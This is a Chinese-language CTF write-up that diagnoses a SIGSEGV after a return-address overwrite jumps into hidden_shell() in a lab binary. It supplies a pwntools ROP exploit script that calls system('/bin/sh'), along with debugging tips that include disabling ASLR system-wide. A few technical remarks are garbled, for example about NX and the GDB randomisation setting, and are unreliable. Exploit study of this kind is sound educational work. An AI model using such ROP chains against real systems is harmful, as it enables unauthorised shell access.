
本文详解在 CTF 中通过精确控制返回地址触发隐藏函数 hidden_shell() 的完整流程,涵盖 GDB 调试关键观察、栈布局分析、ROP 链构造要点,并指出导致 SIGSEGV 的根本原因及稳定化解决方案。
本文详解在 ctf 中通过精确控制返回地址触发隐藏函数 hidden_shell() 的完整流程,涵盖 gdb 调试关键观察、栈布局分析、rop 链构造要点,并指出导致 sigsegv 的根本原因及稳定化解决方案。
在典型的栈溢出利用中,成功跳转至目标函数(如 hidden_shell)仅是第一步;后续能否稳定执行 /bin/sh,取决于该函数内部是否安全调用 system(),以及当前运行环境是否满足其依赖条件。
从你的 GDB 日志可见:
✅ 控制流已成功劫持——vulnerable_log() 返回后跳入 hidden_shell()(0x00000000004015b6);
✅ hidden_shell() 确实调用了 system("/bin/sh")(见 do_system 地址与硬编码字符串 0x402113 "/bin/sh");
❌ 但最终触发 SIGSEGV,说明 system() 执行时发生非法内存访问——最常见原因是 libc 函数调用约定被破坏,或 system() 所需的 GOT/PLT 解析失败(尤其在无 PIE + RELRO 全开环境下)。
关键问题定位:为什么 system("/bin/sh") 崩溃?
do_system 在 ../sysdeps/posix/system.c:148 崩溃,典型场景包括:
-
栈对齐失效:x86_64 下
system()要求栈指针(rsp)16 字节对齐,而溢出后rsp可能为奇数偏移; -
寄存器污染:
hidden_shell()返回前未清理rdi/rsi等寄存器,导致system()将错误值当作参数; -
/bin/sh字符串不可读:若程序启用NX(DEP),且/bin/sh存于.rodata或.data段但该段不可执行——但此处崩溃在do_system内部,更可能是调用链问题; -
libc版本兼容性:CTF 题目常使用定制 libc,system的 gadget 或依赖符号可能缺失。
正确利用步骤(推荐方案)
避免依赖不稳定的 hidden_shell() 内部逻辑,应手动构造 ROP 链,显式调用 system() 并传入 /bin/sh 地址:
from pwn import *
# 假设已通过 checksec 确认:no PIE, no stack canary, NX enabled
elf = ELF('./zerochain')
libc = ELF('./libc.so.6') # 或通过泄露动态获取
# 泄露 libc 地址(例如通过 puts@got.plt)→ 计算 system offset
# 此处简化:假设已知 system_addr = libc_base + libc.sym['system']
# 且 binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
# 构造 ROP 链:确保 rsp 16-byte aligned before system()
rop = ROP(elf)
rop.call(elf.sym['system'], [elf.bss() + 0x100]) # 将 /bin/sh 写入可写段再调用
# 或更稳妥:使用 libc 中的 '/bin/sh'(需先泄露 libc)
# 实际 payload 示例(含菜单选择 + 溢出)
io = process('./zerochain')
io.sendline(b'4') # 进入 Vulnerable Log
# padding + ret addr to pop rdi; ret + /bin/sh addr + system addr
payload = b'A' * 132 # 实际偏移需用 cyclic + core dump 精确计算
payload += p64(0x401234) # pop rdi; ret (gadget from elf or libc)
payload += p64(0x402113) # address of "/bin/sh" in binary
payload += p64(0x4011a0) # address of system@plt (or resolved libc system)
io.sendline(payload)
io.interactive() # 应获得稳定 shell注意事项与调试技巧
- ✅ 精准计算偏移量:勿凭经验猜测
123+9。使用cyclic 200→ 触发 crash →cyclic -l $(rax)确定覆盖rip的确切字节数; - ✅ 验证栈对齐:在
hidden_shell断点处执行p $rsp % 16,若非 0,则在 ROP 链开头插入retgadget(0xc3)垫片; - ✅ 关闭 ASLR 本地调试:
set disable-randomization offin GDB,或echo 0 | sudo tee /proc/sys/kernel/randomize_va_space; - ⚠️ 警惕 Full RELRO:若题目启用 Full RELRO,无法改写 GOT 表,必须使用 ROP + libc leak;
- ? 检查
hidden_shell反汇编:disas hidden_shell查看是否含call system@plt或直接call qword ptr [rip + offset]—— 若为后者,需确保对应 GOT 条目已解析(否则会跳转到 0x0)。
总结
你已跨越最关键的控制流劫持阶段,当前 SIGSEGV 是典型“利用链未闭环”信号。不要止步于跳入 hidden_shell,而应将其视为一个可控的代码重用起点,通过 ROP 精确调度 system() 并保障调用环境合规。 结合 libc 泄露、栈对齐修复与 gadget 复用,即可实现稳定 shell 获取——这也是现代二进制利用的核心范式。

















